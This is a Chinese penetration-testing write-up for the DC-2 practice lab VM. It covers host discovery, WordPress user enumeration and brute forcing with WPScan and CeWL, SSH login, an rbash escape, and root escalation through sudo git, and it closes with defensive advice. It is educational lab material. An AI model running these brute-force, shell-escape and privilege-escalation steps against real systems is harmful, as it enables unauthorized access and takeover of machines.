DC-2
字数 1111 2025-08-10 23:41:56
DC-2 渗透测试实战教学文档
1. 环境准备
1.1 靶场下载与配置
- 靶场下载地址: https://www.five86.com/downloads.html
- 使用VMware打开下载的DC-2虚拟机镜像
- 网络模式: NAT模式
1.2 攻击机配置
- 使用Kali Linux作为攻击机
- IP地址: 192.168.229.130 (示例)
2. 信息收集
2.1 网络扫描
arp-scan -l
- 发现DC-2靶场IP: 192.168.229.169
2.2 端口与服务扫描
nmap -A -T4 -p- 192.168.229.169
- 开放服务:
- HTTP服务 (WordPress CMS)
- SSH服务
3. Web渗透
3.1 主机名解析配置
sudo vim /etc/hosts
- 添加:
192.168.229.169 dc-2
3.2 WordPress枚举
- 使用WPScan枚举用户:
wpscan --url http://dc-2 -e u
- 发现用户: jerry, tom
3.3 密码字典生成
cewl http://dc-2 -w passwd.txt
3.4 WordPress爆破
wpscan --url http://dc-2/ -U users.txt -P passwd.txt
- 获取凭证:
- jerry:adipiscing
- tom:parturient
3.5 Flag获取
- 登录jerry账户,在Page模块发现flag2
- flag2提示: 尝试其他方法(SSH)
4. SSH渗透
4.1 SSH登录尝试
ssh tom@dc-2
- 密码: parturient
- 发现受限的rbash环境
4.2 受限环境突破
- 查看可用命令:
echo $PATH
ls -la
- 发现vi可用
- 使用vi查看flag3.txt
- flag3提示: 使用su切换到jerry用户
4.3 rbash逃逸
BASH_CMDS[a]=/bin/sh
a
export PATH=$PATH:/bin
export PATH=$PATH:/usr/bin
- 现在可以执行完整命令
4.4 切换用户
su jerry
- 密码: adipiscing
- 在jerry家目录发现flag4.txt
- flag4提示: 使用git提权
5. 权限提升
5.1 检查sudo权限
sudo -l
- 发现jerry可以以root身份执行git命令
5.2 Git提权
sudo git help config
- 在帮助页面输入:
!/bin/bash - 获得root shell
5.3 获取最终flag
cd /root
cat final-flag.txt
6. 关键知识点总结
-
信息收集:
- arp-scan用于发现同网段主机
- nmap全面扫描端口和服务
-
Web渗透:
- WordPress用户枚举技术
- Cewl自动生成密码字典
- WPScan爆破WordPress凭证
-
受限环境突破:
- rbash逃逸技术
- 环境变量修改方法
-
权限提升:
- sudo -l检查可用的特权命令
- Git帮助模式提权技术
-
整体渗透思路:
- 从Web到SSH的横向移动
- 从低权限到高权限的纵向提升
7. 防御建议
-
WordPress安全:
- 使用强密码策略
- 限制登录尝试次数
- 定期更新插件和主题
-
SSH安全:
- 禁用root登录
- 使用密钥认证
- 限制用户可用的命令
-
系统安全:
- 定期审计sudo权限
- 限制rbash环境的功能
- 监控特权命令的使用